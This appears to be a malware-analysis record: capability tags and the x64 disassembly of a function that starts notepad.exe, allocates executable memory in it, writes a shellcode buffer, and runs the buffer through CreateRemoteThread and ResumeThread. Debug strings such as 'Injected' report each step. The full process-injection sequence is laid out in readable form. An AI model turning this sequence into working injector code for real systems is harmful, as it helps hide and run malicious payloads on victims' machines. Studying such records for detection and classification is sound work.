Function at 0x401040
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Create process suspended
Create thread
Encrypt data using speck
Execute shellcode via indirect call
Inject thread
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x138
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x108], rax
xor ebx, ebx
lea r14, str.___Running_in_x64_process_n
lea rsi, [rsp + 0x50]
lea rdi, [rsp + 0x108]
nop word cs:[rax + rax]
cmp rbx, 0x1b
ja 0x40219b
lea r8, [r14 + rbx]
mov r9d, 0x1b
sub r9, rbx
mov rcx, rsi
mov rdx, rdi
call fcn.00402260
movzx eax, word [rsp + 0x58]
test ax, ax
jne 0x4010cf
add rbx, qword [rsp + 0x50]
jb 0x4021af
cmp rbx, 0x1b
jne 0x401090
jmp 0x4010d9
cmp ax, 0xf
ja 0x4021d7
movabs rbp, 0xaaaaaaaaaaaaaaaa
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov r13, qword [rax + 0x28]
mov dword [rsp + 0xc4], 0xaaaaaaaa
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x50], rbp
movups xmm0, xmmword [0x004461c0]
movups xmmword [rsp + 0x68], xmm0
lea rcx, [rsp + 0x50]
mov edx, 0xc
call fcn.00420fb0
test ax, ax
jne 0x40162b
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov rsi, qword [rsp + 0x90]
mov rax, qword [rsp + 0x88]
mov rcx, rsi
sub rcx, rax
jb 0x40219b
cmp rcx, 0xa
jbe 0x4021c3
mov rbx, rax
add rbx, 8
jb 0x4021af
cmp rbx, rsi
ja 0x4021c3
mov qword [rsp + 0x88], rbx
mov rdi, qword [rsp + 0x80]
movaps xmm0, xmmword [str.notepad.]
movups xmmword [rdi + rax*2], xmm0
xor eax, eax
lea r12, str.notepad.exe
lea rdx, [0x004463ee]
movabs r8, 0x809080a080
movabs r9, 0x8fbf9fbfbf
jmp 0x4011ed
add rax, rcx
cmp rax, 2
ja 0x4012a1
movzx r11d, byte [rax + r12 + 8]
mov ecx, 1
test r11b, r11b
jns 0x4011e0
movzx ecx, byte [r11 + rdx]
cmp rcx, 0xf1
je 0x401271
mov r10d, ecx
and r10d, 7
lea r14, [rax + r10]
cmp r14, 3
ja 0x401271
add r11, 0xffffffffffffff3e
cmp r11, 0x33
jae 0x4021c3
cmp rax, 1
ja 0x4021ff
shr cl, 1
and cl, 0x78
mov r14, r8
shr r14, cl
mov r11, r9
shr r11, cl
movzx ecx, byte [rax + r12 + 9]
cmp cl, r14b
jb 0x401271
cmp cl, r11b
ja 0x401271
movzx ecx, r10b
cmp cl, 2
je 0x4011e0
add ecx, 0xfffffffd
cmp ecx, 2
jae 0x4021c3
mov rbx, qword [rsp + 0x98]
mov r14, qword [rsp + 0xa0]
test rsi, rsi
je 0x4015f7
js 0x4021af
add rsi, rsi
test rsi, rsi
jne 0x401601
jmp 0x40162b
xor ebp, ebp
mov r15, 0xffffffffffffffff
cmp rbp, 2
jbe 0x4012e2
xor edx, edx
xor r8d, r8d
test rdx, rdx
jne 0x401377
jmp 0x401562
mov edx, dword [rsp + 0xb0]
mov dword [rcx], edx
mov rbx, rax
cmp rbp, 2
ja 0x4012b0
movzx eax, byte [rbp + r12 + 8]
lea rcx, [0x00476784]
test al, al
jns 0x401330
mov edx, eax
and dl, 0xe0
lea rcx, [0x00476788]
cmp dl, 0xc0
je 0x401330
mov edx, eax
and dl, 0xf0
lea rcx, [0x0047678c]
cmp dl, 0xe0
je 0x401330
and al, 0xf8
cmp al, 0xf0
lea rcx, [0x004464ee]
lea rax, [0x00476790]
cmove rcx, rax
nop dword [rax + rax]
cmp word [rcx], 0
jne 0x4021eb
movzx ecx, byte [rcx + 2]
and ecx, 7
add rbp, rcx
mov rax, rbp
sub rax, rcx
jb 0x4021af
mov r8, rbp
sub r8, rax
jb 0x40219b
cmp rbp, 3
ja 0x4021ff
lea rdx, [rax + r12]
add rdx, 8
test rdx, rdx
je 0x401562
lea rcx, [rsp + 0x50]
call fcn.00421130
cmp word [rsp + 0x54], 0
jne 0x4021eb
movzx eax, word [rsp + 0x50]
movzx r14d, byte [rsp + 0x52]
and r14d, 0x1f
shl r14d, 0x10
or r14d, eax
cmp r14d, 0xffff
ja 0x401450
mov rax, rbx
inc rax
je 0x4021af
cmp rsi, rax
jae 0x40140f
nop word cs:[rax + rax]
nop dword [rax + rax]
mov rcx, rsi
shr rcx, 1
add rcx, 8
add rsi, rcx
cmovb rsi, r15
cmp rsi, rax
jb 0x4013d0
lea rcx, [rsp + 0x80]
mov rdx, rsi
call fcn.00420fb0
test ax, ax
jne 0x4015c4
mov rbx, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x90]
cmp rbx, rsi
jae 0x4021c3
lea rax, [rbx + 1]
mov qword [rsp + 0x88], rax
mov rdi, qword [rsp + 0x80]
mov word [rdi + rbx*2], r14w
mov rbx, rax
cmp rbp, 2
ja 0x4012b0
jmp 0x4012e2
lea eax, [r14 + 0x1f0000]
shr eax, 0xa
or eax, 0xd800
and r14d, 0x3ff
or r14d, 0xdc00
mov word [rsp + 0xb0], ax
mov word [rsp + 0xb2], r14w
mov rax, rbx
add rax, 2
setb cl
setb byte [rsp + 0x50]
setb byte [rsp + 0xf8]
test cl, cl
jne 0x4015d4
cmp rsi, rax
jae 0x4014f1
nop word cs:[rax + rax]
nop dword [rax]
mov rcx, rsi
shr rcx, 1
add rcx, 8
add rsi, rcx
cmovb rsi, r15
cmp rsi, rax
jb 0x4014b0
lea rcx, [rsp + 0x80]
mov rdx, rsi
call fcn.00420fb0
test ax, ax
jne 0x4015c4
mov rbx, qword [rsp + 0x88]
mov rax, rbx
add rax, 2
setb cl
test cl, 1
jne 0x4021af
mov rsi, qword [rsp + 0x90]
cmp rax, rsi
ja 0x4021c3
mov qword [rsp + 0x88], rax
mov rdi, qword [rsp + 0x80]
lea rcx, [rdi + rbx*2]
lea rdx, [rdi + rbx*2]
add rdx, 4
lea r8, [rsp + 0xb0]
cmp rdx, r8
setbe dl
lea r8, [rsp + 0xb4]
cmp rcx, r8
jae 0x4012d0
test dl, dl
jne 0x4012d0
lea rcx, str._memcpy_arguments_alias
mov edx, 0x17
xor r9d, r9d
call fcn.00402230
inc rbx
je 0x4021af
lea rcx, [rsp + 0x80]
mov rdx, rbx
call fcn.00420fb0
mov rdi, qword [rsp + 0x90]
test ax, ax
movabs rbp, 0xaaaaaaaaaaaaaaaa
lea rbx, [rsp + 0x88]
je 0x401fc5
mov rbx, qword [rsp + 0x98]
mov r14, qword [rsp + 0xa0]
test rdi, rdi
je 0x40202b
mov rsi, qword [rsp + 0x80]
jmp 0x4020c0
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x90]
movabs rbp, 0xaaaaaaaaaaaaaaaa
mov rbx, qword [rsp + 0x98]
mov r14, qword [rsp + 0xa0]
test rsi, rsi
jne 0x40128a
xor esi, esi
mov rdi, rbp
test rsi, rsi
je 0x40162b
mov rcx, rdi
mov dl, 0xaa
mov r8, rsi
call fcn.00440060
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
mov r9b, 1
call qword [r14 + 0x10]
lea rax, [0x0047c080]
mov qword [rsp + 0x48], rax
lea rax, [0x0047c018]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r15d, r15d
xor ecx, ecx
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessW
mov r14d, dword [0x0047c090]
mov qword [rsp + 0xc8], r13
lea rsi, [rsp + 0xc8]
mov qword [rsp + 0x118], rsi
lea rax, [fcn.00402260]
mov qword [rsp + 0x120], rax
lea rbx, str.___Target_Process:_any_n
lea rdi, [rsp + 0x50]
nop dword [rax + rax]
cmp r15, 0x14
ja 0x40219b
lea r8, [rbx + r15]
mov r9d, 0x14
sub r9, r15
mov rcx, rdi
mov rdx, rsi
call fcn.00402260
movzx eax, word [rsp + 0x58]
test ax, ax
jne 0x401857
add r15, qword [rsp + 0x50]
jb 0x4021af
cmp r15, 0x14
jne 0x4016b0
movaps xmm0, xmmword [0x00444010]
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x70], 0xaa
mov r8d, 0x21
cmp r14d, 0x64
jb 0x4017f4
mov eax, r14d
imul rdx, rax, 0x51eb851f
shr rdx, 0x25
imul ecx, edx, 0x64
mov r8d, r14d
sub r8d, ecx
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx r8d, word [rcx + r8*2]
mov word [rsp + 0x6f], r8w
mov r8d, 0x1f
cmp r14d, 0x270f
jbe 0x401809
mov r8d, edx
imul r8, r8, 0x28f5c29
shr r8, 0x20
imul r8d, r8d, 0x64
sub edx, r8d
movzx edx, word [rcx + rdx*2]
mov word [rsp + 0x6d], dx
mov edx, 0xd1b71759
imul rdx, rax
shr rdx, 0x2d
mov r8d, 0x1d
cmp r14d, 0xf4240
jb 0x401809
mov r8d, edx
imul r8, r8, 0x28f5c29
shr r8, 0x20
imul r8d, r8d, 0x64
sub edx, r8d
movzx edx, word [rcx + rdx*2]
mov word [rsp + 0x6b], dx
imul rdx, rax, 0x431bde83
shr rdx, 0x32
mov r8d, 0x1b
cmp r14d, 0x5f5e100
jb 0x401809
imul r8d, edx, 0x147b
shr r8d, 0x13
imul r8d, r8d, 0x64
sub edx, r8d
movzx edx, dx
movzx ecx, word [rcx + rdx*2]
mov word [rsp + 0x69], cx
imul r14, rax, 0x55e63b89
shr r14, 0x39
mov r8d, 0x19
cmp r14d, 0xa
jae 0x401812
or r14b, 0x30
mov byte [rsp + r8 + 0x4f], r14b
add r8, 0xffffffffffffffff
jmp 0x40182a
mov r14d, edx
cmp r14d, 0xa
jb 0x4017fa
mov eax, r14d
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx eax, word [rcx + rax*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
mov edx, 0x21
sub rdx, r8
lea rcx, [rsp + r8]
add rcx, 0x50
lea r8, [0x00476690]
lea r9, [rsp + 0x118]
call fcn.00422a70
test ax, ax
je 0x401af5
cmp ax, 0xf
ja 0x4021d7
mov r8d, dword [0x0047c090]
xor r15d, r15d
mov ecx, 0x1fffff
xor edx, edx
call sub.KERNEL32.dll_OpenProcess
mov rsi, rax
mov qword [rsp + 0xd0], r13
lea rdi, [rsp + 0xd0]
mov qword [rsp + 0x128], rdi
lea rax, [fcn.00402260]
mov qword [rsp + 0x130], rax
lea r14, str.___pHandle:_any_n
lea rbx, [rsp + 0x50]
nop dword [rax]
cmp r15, 0xd
ja 0x40219b
lea r8, [r14 + r15]
mov r9d, 0xd
sub r9, r15
mov rcx, rbx
mov rdx, rdi
call fcn.00402260
movzx eax, word [rsp + 0x58]
test ax, ax
jne 0x40190d
add r15, qword [rsp + 0x50]
jb 0x4021af
cmp r15, 0xd
jne 0x4018b0
lea rdx, [0x00476690]
lea r8, [rsp + 0x128]
mov rcx, rsi
call fcn.00421380
test ax, ax
je 0x401b52
cmp ax, 0x10
jae 0x4021d7
mov dword [rsp + 0x20], 0x40
xor r12d, r12d
mov r8d, 0x146
mov rcx, rsi
xor edx, edx
mov r9d, 0x1000
call sub.KERNEL32.dll_VirtualAllocEx
mov rdi, rax
mov qword [rsp + 0xd8], rbp
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x20], rax
lea r8, [0x00444e3f]
mov r9d, 0x146
mov rcx, rsi
mov rdx, rdi
call sub.KERNEL32.dll_WriteProcessMemory
mov ebx, eax
mov qword [rsp + 0xe0], r13
lea r14, [rsp + 0xe0]
mov qword [rsp + 0xb0], r14
lea rax, [fcn.00402260]
mov qword [rsp + 0xb8], rax
lea rbp, str.___WriteProcessMemory:_any_n
lea r15, [rsp + 0x50]
nop dword [rax]
cmp r12, 0x18
ja 0x40219b
lea r8, [r12 + rbp]
mov r9d, 0x18
sub r9, r12
mov rcx, r15
mov rdx, r14
call fcn.00402260
movzx eax, word [rsp + 0x58]
test ax, ax
jne 0x401c0d
add r12, qword [rsp + 0x50]
jb 0x4021af
cmp r12, 0x18
jne 0x4019a0
mov eax, ebx
neg eax
cmovs eax, ebx
movaps xmm0, xmmword [0x00444010]
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x70], 0xaa
mov ecx, 0x21
cmp eax, 0x64
jb 0x401fa5
mov edx, eax
imul r9, rdx, 0x51eb851f
shr r9, 0x25
imul ecx, r9d, 0x64
mov r10d, eax
sub r10d, ecx
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx ecx, word [r8 + r10*2]
mov word [rsp + 0x6f], cx
mov ecx, 0x1f
cmp eax, 0x270f
jbe 0x401bb2
mov ecx, r9d
imul rcx, rcx, 0x28f5c29
shr rcx, 0x20
imul ecx, ecx, 0x64
sub r9d, ecx
movzx ecx, word [r8 + r9*2]
mov word [rsp + 0x6d], cx
mov r9d, 0xd1b71759
imul r9, rdx
shr r9, 0x2d
mov ecx, 0x1d
cmp eax, 0xf4240
jb 0x401fa2
mov ecx, r9d
imul rcx, rcx, 0x28f5c29
shr rcx, 0x20
imul ecx, ecx, 0x64
sub r9d, ecx
movzx ecx, word [r8 + r9*2]
mov word [rsp + 0x6b], cx
imul r9, rdx, 0x431bde83
shr r9, 0x32
mov ecx, 0x1b
cmp eax, 0x5f5e100
jb 0x401bb2
imul eax, r9d, 0x147b
shr eax, 0x13
imul eax, eax, 0x64
sub r9d, eax
movzx eax, r9w
movzx eax, word [r8 + rax*2]
mov word [rsp + 0x69], ax
imul rax, rdx, 0x55e63b89
shr rax, 0x39
mov ecx, 0x19
cmp eax, 0xa
jb 0x401fae
jmp 0x401bbe
xor r14d, r14d
lea rsi, [rsp + 0x50]
lea rdi, [rsp + 0xc8]
nop word cs:[rax + rax]
nop
cmp r14, 1
ja 0x40219b
lea r8, [r14 + rbx]
add r8, 0x19
mov r9, r14
xor r9, 1
mov rcx, rsi
mov rdx, rdi
call fcn.00402260
movzx eax, word [rsp + 0x58]
test ax, ax
jne 0x401857
add r14, qword [rsp + 0x50]
cmp r14, 1
jne 0x401b10
jmp 0x401861
xor r15d, r15d
lea rdi, [rsp + 0x50]
lea rbx, [rsp + 0xd0]
nop word cs:[rax + rax]
nop dword [rax]
cmp r15, 1
ja 0x40219b
lea r8, [r15 + r14]
add r8, 0x12
mov r9, r15
xor r9, 1
mov rcx, rdi
mov rdx, rbx
call fcn.00402260
movzx eax, word [rsp + 0x58]
test ax, ax
jne 0x40190d
add r15, qword [rsp + 0x50]
cmp r15, 1
jne 0x401b70
jmp 0x401917
mov eax, r9d
cmp eax, 0xa
jb 0x401fae
mov eax, eax
lea rdx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx eax, word [rdx + rax*2]
mov word [rsp + rcx + 0x4e], ax
add rcx, 0xfffffffffffffffe
test ebx, ebx
jns 0x401be1
mov byte [rsp + rcx + 0x4f], 0x2d
add rcx, 0xffffffffffffffff
mov edx, 0x21
sub rdx, rcx
add rcx, rsp
add rcx, 0x50
lea r8, [0x00476690]
lea r9, [rsp + 0xb0]
call fcn.00422a70
test ax, ax
je 0x401e86
cmp ax, 0x10
jae 0x4021d7
mov rbx, qword [rsp + 0xd8]
mov qword [rsp + 0xe8], r13
lea r14, [rsp + 0xe8]
mov qword [rsp + 0xf8], r14
lea rax, [fcn.00402260]
mov qword [rsp + 0x100], rax
xor r12d, r12d
lea rbp, str._______bytes_written:_any_n
lea r15, [rsp + 0x50]
nop word cs:[rax + rax]
nop
cmp r12, 0x17
ja 0x40219b
lea r8, [r12 + rbp]
mov r9d, 0x17
sub r9, r12
mov rcx, r15
mov rdx, r14
call fcn.00402260
movzx eax, word [rsp + 0x58]
test ax, ax
jne 0x401cbd
add r12, qword [rsp + 0x50]
jb 0x4021af
cmp r12, 0x17
jne 0x401c60
lea rdx, [0x00476690]
lea r8, [rsp + 0xf8]
mov rcx, rbx
call fcn.00421380
test ax, ax
je 0x401ee2
cmp ax, 0x10
jae 0x4021d7
lea r14, [rsp + 0xc4]
mov edx, 0x146
mov rcx, rdi
mov r8d, 1
mov r9, r14
call sub.KERNEL32.dll_VirtualProtect
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], 0
xor r12d, r12d
mov rcx, rsi
xor edx, edx
xor r8d, r8d
mov r9, rdi
call sub.KERNEL32.dll_CreateRemoteThread
mov rbx, rax
mov edx, 0x146
mov rcx, rdi
mov r8d, 0x40
mov r9, r14
call sub.KERNEL32.dll_VirtualProtect
mov rcx, rbx
call sub.KERNEL32.dll_ResumeThread
mov qword [rsp + 0xf0], r13
lea rdi, [rsp + 0xf0]
mov qword [rsp + 0x80], rdi
lea rax, [fcn.00402260]
mov qword [rsp + 0x88], rax
lea r15, str.___tHandle:_any_n
lea r14, [rsp + 0x50]
nop word cs:[rax + rax]
cmp r12, 0xd
ja 0x40219b
lea r8, [r15 + r12]
mov r9d, 0xd
sub r9, r12
mov rcx, r14
mov rdx, rdi
call fcn.00402260
movzx eax, word [rsp + 0x58]
test ax, ax
jne 0x401dcd
add r12, qword [rsp + 0x50]
jb 0x4021af
cmp r12, 0xd
jne 0x401d70
lea rdx, [0x00476690]
lea r8, [rsp + 0x80]
mov rcx, rbx
call fcn.00421380
test ax, ax
je 0x401f42
cmp ax, 0x10
jae 0x4021d7
mov qword [rsp + 0x110], r13
xor r15d, r15d
lea r12, str.___Injected_n
lea rdi, [rsp + 0x50]
lea r14, [rsp + 0x110]
nop word cs:[rax + rax]
cmp r15, 0xd
ja 0x40219b
lea r8, [r12 + r15]
mov r9d, 0xd
sub r9, r15
mov rcx, rdi
mov rdx, r14
call fcn.00402260
movzx eax, word [rsp + 0x58]
test ax, ax
jne 0x401e3f
add r15, qword [rsp + 0x50]
jb 0x4021af
cmp r15, 0xd
jne 0x401e00
jmp 0x401e49
cmp ax, 0x10
jae 0x4021d7
mov rcx, rbx
call sub.KERNEL32.dll_CloseHandle
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
mov rcx, qword [0x0047c088]
call sub.KERNEL32.dll_CloseHandle
mov rcx, qword [0x0047c080]
call sub.KERNEL32.dll_CloseHandle
nop
add rsp, 0x138
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor r15d, r15d
lea rbx, [rsp + 0x50]
lea r14, [rsp + 0xe0]
nop word cs:[rax + rax]
cmp r15, 1
ja 0x40219b
lea r8, [r15 + rbp]
add r8, 0x1d
mov r9, r15
xor r9, 1
mov rcx, rbx
mov rdx, r14
call fcn.00402260
movzx eax, word [rsp + 0x58]
test ax, ax
jne 0x401c0d
add r15, qword [rsp + 0x50]
cmp r15, 1
jne 0x401ea0
jmp 0x401c17
xor r15d, r15d
lea rbx, [rsp + 0x50]
lea r14, [rsp + 0xe8]
nop word cs:[rax + rax]
nop dword [rax]
cmp r15, 1
ja 0x40219b
lea r8, [r15 + rbp]
add r8, 0x1c
mov r9, r15
xor r9, 1
mov rcx, rbx
mov rdx, r14
call fcn.00402260
movzx eax, word [rsp + 0x58]
test ax, ax
jne 0x401cbd
add r15, qword [rsp + 0x50]
cmp r15, 1
jne 0x401f00
jmp 0x401cc7
xor r12d, r12d
lea rdi, [rsp + 0x50]
lea r14, [rsp + 0xf0]
nop word cs:[rax + rax]
nop dword [rax]
cmp r12, 1
ja 0x40219b
lea r8, [r12 + r15]
add r8, 0x12
mov r9, r12
xor r9, 1
mov rcx, rdi
mov rdx, r14
call fcn.00402260
movzx eax, word [rsp + 0x58]
test ax, ax
jne 0x401dcd
add r12, qword [rsp + 0x50]
cmp r12, 1
jne 0x401f60
jmp 0x401dd7
mov eax, r9d
cmp eax, 0xa
jae 0x401bbe
or al, 0x30
mov byte [rsp + rcx + 0x4f], al
add rcx, 0xffffffffffffffff
test ebx, ebx
jns 0x401be1
jmp 0x401bd8
mov rbp, qword [rsp + 0x88]
cmp rbp, rdi
jae 0x4021c3
lea r14, [rbp + 1]
mov qword [rsp + 0x88], r14
mov rsi, qword [rsp + 0x80]
mov word [rsi + rbp*2], 0
movups xmm0, xmmword [rsp + 0x98]
movaps xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
mov rdx, rsi
mov r8, rdi
mov r9, r14
call fcn.00422830
test al, 1
je 0x40203c
movabs rax, 0xaaaaaaaaaaaaaaaa
mov qword [rsp + 0x80], rax
jmp 0x40217b
movabs rsi, 0xaaaaaaaaaaaaaaaa
xor edi, edi
jmp 0x4020cc
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x178]
test r14, r14
sets dl
sets byte [rsp + 0xf8]
test dl, dl
jne 0x4020a6
mov r12, r14
add r12, r14
je 0x4020fd
mov rdx, r12
mov r8b, 1
mov r9, rbx
call qword [rax]
test rax, rax
je 0x4020a6
mov r15, rax
mov rcx, rax
mov dl, 0xaa
mov r8, r12
call fcn.00440060
test r15b, 1
je 0x402104
lea rcx, [0x00444f85]
mov edx, 0x13
xor r9d, r9d
call fcn.00402230
mov rbx, qword [rsp + 0x98]
mov r14, qword [rsp + 0xa0]
movabs rbp, 0xaaaaaaaaaaaaaaaa
test rdi, rdi
js 0x4021af
add rdi, rdi
test rdi, rdi
je 0x40162b
mov rcx, rsi
mov dl, 0xaa
mov r8, rdi
call fcn.00440060
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
jmp 0x401624
mov r15, 0xfffffffffffffffe
lea rax, [rsi + r14*2]
cmp r15, rax
jae 0x40211a
lea rax, [r15 + r14*2]
cmp rsi, rax
jb 0x40154e
mov rcx, r15
mov rdx, rsi
mov r8, r12
call fcn.0043fd00
mov rcx, rsi
mov dl, 0xaa
mov r8, r12
call fcn.00440060
test rdi, rdi
js 0x4021af
mov r14, qword [rsp + 0x98]
mov r12, qword [rsp + 0xa0]
add rdi, rdi
mov rcx, rsi
mov dl, 0xaa
mov r8, rdi
call fcn.00440060
mov qword [rsp + 0x20], rbx
mov rcx, r14
mov rdx, rsi
mov r8, rdi
mov r9b, 1
call qword [r12 + 0x10]
mov rsi, r15
lea rbx, [rsp + 0x88]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
cmp word [rsi + rbp*2], 0
jne 0x402213
movabs rbp, 0xaaaaaaaaaaaaaaaa
jmp 0x40162b
lea rcx, str.start_index_is_larger_than_end_index
mov edx, 0x24
xor r9d, r9d
call fcn.00402230
lea rcx, str.integer_overflow
mov edx, 0x10
xor r9d, r9d
call fcn.00402230
lea rcx, str.reached_unreachable_code
mov edx, 0x18
xor r9d, r9d
call fcn.00402230
lea rcx, str.invalid_error_code
mov edx, 0x12
xor r9d, r9d
call fcn.00402230
lea rcx, str.attempt_to_unwrap_error
mov edx, 0x17
xor r9d, r9d
call fcn.00402230
lea rcx, str.index_out_of_bounds
mov edx, 0x13
xor r9d, r9d
call fcn.00402230
lea rcx, [0x00445ff8]
mov edx, 0x11
xor r9d, r9d
call fcn.00402230
int3